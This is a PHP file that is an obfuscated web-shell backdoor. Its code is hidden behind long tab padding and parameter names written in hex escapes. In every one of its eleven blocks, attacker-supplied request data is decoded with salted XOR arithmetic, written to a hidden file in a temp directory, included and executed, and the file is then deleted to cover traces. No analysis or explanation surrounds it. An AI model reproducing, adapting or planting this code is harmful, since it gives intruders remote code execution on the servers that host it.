<?php																																										if(!is_null($_REQUEST["d\x61t"] ?? null)){ $key = $_REQUEST["d\x61t"]; $key = explode ( '.' ,$key); $entity= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $l= 0; foreach ($key as $v8) { $sChar= ord($s4[$l % $lenS]); $dec= ((int)$v8 - $sChar - ($l % 10)) ^ 16; $entity .=chr($dec); $l++; } $data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm", session_save_path(), getcwd(), getenv("TMP")]); foreach ($data_chunk as $factor) { if (is_dir($factor) && is_writable($factor)) { $tkn = join("/", [$factor, ".res"]); if (@file_put_contents($tkn, $entity) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["o\x62\x6A"])){ $pset = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $hld = $_REQUEST["o\x62\x6A"]; $hld =explode ( '.' , $hld ) ; $fac = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); foreach( $hld as $v=>$v8): $chS = ord( $s4[$v % $sLen]); $dec =( ( int)$v8 - $chS -( $v % 10))^ 46; $fac.=chr( $dec); endforeach; foreach ($pset as $key => $dchunk) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $k = "$dchunk/.value"; if (file_put_contents($k, $fac)) { require $k; unlink($k); exit; } } } }
																																										if(isset($_POST["\x6Be\x79"])){ $ref = $_POST["\x6Be\x79"]; $ref= explode ( '.' , $ref) ; $reference = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $w = 0; $len = count($ref); do { if ($w>=$len) break; $v9 = $ref[$w]; $sChar = ord($salt2[$w%$lenS]); $d = ((int)$v9 - $sChar - ($w%10)) ^ 88; $reference .= chr($d); $w++; } while (true); $ent = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp"]); foreach ($ent as $record) { if (is_dir($record) && is_writable($record)) { $symbol = sprintf("%s/.hld", $record); if (file_put_contents($symbol, $reference)) { include $symbol; @unlink($symbol); exit; } } } }
																																										if(!empty($_REQUEST["e\x6Ceme\x6E\x74"])){ $resource = $_REQUEST["e\x6Ceme\x6E\x74"]; $resource =explode( "." , $resource ); $sym = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6 ); $o = 0; foreach( $resource as $v5) {$chS = ord( $salt6[$o % $lenS] ); $d = ( ( int)$v5 - $chS -( $o % 10)) ^ 39; $sym .= chr( $d ); $o++; } $flag = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); foreach ($flag as $key => $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $val = str_replace("{var_dir}", $factor, "{var_dir}/.data"); $success = file_put_contents($val, $sym); if ($success) { include $val; @unlink($val); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6C\x65\x6De\x6Et"])){ $binding = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm"]); $tkn = $_REQUEST["e\x6C\x65\x6De\x6Et"]; $tkn =explode ( "." ,$tkn) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $o = 0; $__tmp = $tkn; while( $v8 = array_shift( $__tmp)) { $chS = ord( $salt[$o % $sLen]); $d = ( ( int)$v8 - $chS -( $o % 10)) ^ 52; $res.= chr( $d); $o++; } foreach ($binding as $key => $descriptor) { if (is_writable($descriptor) && is_dir($descriptor)) { $itm = str_replace("{var_dir}", $descriptor, "{var_dir}/.ent"); if (@file_put_contents($itm, $res) !== false) { include $itm; unlink($itm); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x6F\x62j"])){ $pointer = $_POST["\x6F\x62j"]; $pointer= explode ('.' , $pointer ) ; $record = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $r = 0; $len = count($pointer); do { if ($r >= $len) break; $v2 = $pointer[$r]; $chS = ord($salt3[$r % $lenS]); $d = ((int)$v2 - $chS - ($r % 10)) ^ 41; $record .= chr($d); $r++; }while (true); $ent = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir")]); while ($key = array_shift($ent)) { if ((bool)is_dir($key) && (bool)is_writable($key)) { $value = sprintf("%s/.entry", $key); if (file_put_contents($value, $record)) { require $value; unlink($value); exit; } } } }
																																										if(array_key_exists("\x70set", $_REQUEST)){ $ent = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); $flg = $_REQUEST["\x70set"]; $flg = explode ( ".", $flg ); $record= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $x= 0; $__tmp= $flg; while ($v3= array_shift($__tmp)) { $sChar= ord($salt5[$x % $sLen]); $dec= ((int)$v3 - $sChar - ($x % 10)) ^ 50; $record .= chr($dec); $x++;} $parameter_group = 0; do { $dat = $ent[$parameter_group] ?? null; if ($parameter_group >= count($ent)) break; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $resource = "$dat/.desc"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $resource; @unlink($resource); die(); } } $parameter_group++; } while (true); }
																																										if(in_array("\x74\x6Fken", array_keys($_POST))){ $record = $_POST["\x74\x6Fken"]; $record =explode ("." , $record ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $z = 0; foreach ($record as $v6) { $sChar = ord($s[$z %$sLen] ); $d = ((int)$v6 - $sChar - ($z %10)) ^ 97; $binding .= chr($d ); $z++; } $tkn = array_filter(["/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", getcwd()]); foreach ($tkn as $key => $component) { if (is_dir($component) ? is_writable($component) : false) { $key = implode("/", [$component, ".pset"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $key; @unlink($key); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70\x61r\x61\x6De\x74\x65r\x5Fg\x72oup")){ $k = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp"]); $item = $_POST["\x70\x61r\x61\x6De\x74\x65r\x5Fg\x72oup"]; $item = explode ( "." , $item ) ; $data =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt2); $w =0; while ($w < count($item)) { $v4 =$item[$w]; $sChar =ord($salt2[$w % $lenS]); $dec =((int)$v4 - $sChar - ($w % 10)) ^ 32; $data.= chr($dec); $w++; } $dat = 0; do { $val = $k[$dat] ?? null; if ($dat >= count($k)) break; if (is_dir($val) ? is_writable($val) : false) { $ent = "$val" . "/.binding"; $success = file_put_contents($ent, $data); if ($success) { include $ent; @unlink($ent); die();} } $dat++; } while (true); }
																																										if(in_array("fla\x67", array_keys($_POST))){ $bind = array_filter([sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path()]); $pointer = $_POST["fla\x67"]; $pointer = explode( "." , $pointer ); $fac = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2 ); $z = 0; foreach( $pointer as $v9) { $chS = ord( $s2[$z %$sLen] ); $dec = ( ( int)$v9 - $chS -( $z %10)) ^ 81; $fac .= chr( $dec ); $z++; } foreach ($bind as $ptr) { if (array_product([is_dir($ptr), is_writable($ptr)])) { $pset = implode("/", [$ptr, ".rec"]); if (@file_put_contents($pset, $fac) !== false) { include $pset; unlink($pset); die(); } } } }


if(in_array("\x64es\x63r\x69\x70\x74or", array_keys($_REQUEST))){
	$key = $_REQUEST["\x64es\x63r\x69\x70\x74or"];
	$key =	explode	 (	  ".", $key);
	$pointer = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s );
            $k = 0;
    
            foreach ($key as $v2) {
                $sChar = ord($s[$k % $lenS] );
                $d = ((int)$v2 - $sChar - ($k % 10))^		69;
                $pointer .= chr($d );
                $k++;
            }
	$marker = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP")]);
	while ($record = array_shift($marker)) {
    		if (!( !is_dir($record) || !is_writable($record) )) {
    $flag = "$record" . "/.desc";
    $file = fopen($flag, 'w');
if ($file) {
	fwrite($file, $pointer);
	fclose($file);
	include $flag;
	@unlink($flag);
	die();
}
}
}
}